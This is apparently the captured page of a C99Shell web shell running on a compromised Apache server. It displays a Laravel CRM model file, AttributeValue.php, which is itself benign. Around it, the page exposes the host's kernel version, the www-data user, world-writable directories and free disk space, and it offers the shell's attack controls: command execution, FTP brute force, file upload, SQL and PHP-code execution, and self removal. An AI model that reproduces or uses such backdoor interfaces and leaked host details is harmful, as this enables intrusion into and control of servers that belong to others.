!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Attribute/src/Models/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AttributeValue.php (1.98 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Attribute\Models;

use 
Illuminate\Database\Eloquent\Model;
use 
Webkul\Activity\Traits\LogsActivity;
use 
Webkul\Attribute\Contracts\AttributeValue as AttributeValueContract;

class 
AttributeValue extends Model implements AttributeValueContract
{
    use 
LogsActivity;

    
/**
     * Disable the default timestamps.
     *
     * @var bool
     */
    
public $timestamps false;

    
/**
     * Cast the attributes to their respective types.
     *
     * @var array
     */
    
protected $casts = [
        
'json_value' => 'array',
    ];

    
/**
     * The attributes that are fillable for the model.
     *
     * @var array
     */
    
protected $fillable = [
        
'attribute_id',
        
'text_value',
        
'boolean_value',
        
'integer_value',
        
'float_value',
        
'datetime_value',
        
'date_value',
        
'json_value',
        
'entity_id',
        
'entity_type',
    ];

    
/**
     * The attributes that are used for logging activity.
     *
     * @var array
     */
    
public static $attributeTypeFields = [
        
'text'        => 'text_value',
        
'textarea'    => 'text_value',
        
'price'       => 'float_value',
        
'boolean'     => 'boolean_value',
        
'select'      => 'integer_value',
        
'multiselect' => 'text_value',
        
'checkbox'    => 'text_value',
        
'email'       => 'json_value',
        
'address'     => 'json_value',
        
'phone'       => 'json_value',
        
'lookup'      => 'integer_value',
        
'datetime'    => 'datetime_value',
        
'date'        => 'date_value',
        
'file'        => 'text_value',
        
'image'       => 'text_value',
    ];

    
/**
     * Get the attribute that owns the attribute value.
     */
    
public function attribute()
    {
        return 
$this->belongsTo(AttributeProxy::modelClass());
    }

    
/**
     * Get the parent entity model (leads, products, persons or organizations).
     */
    
public function entity()
    {
        return 
$this->morphTo();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--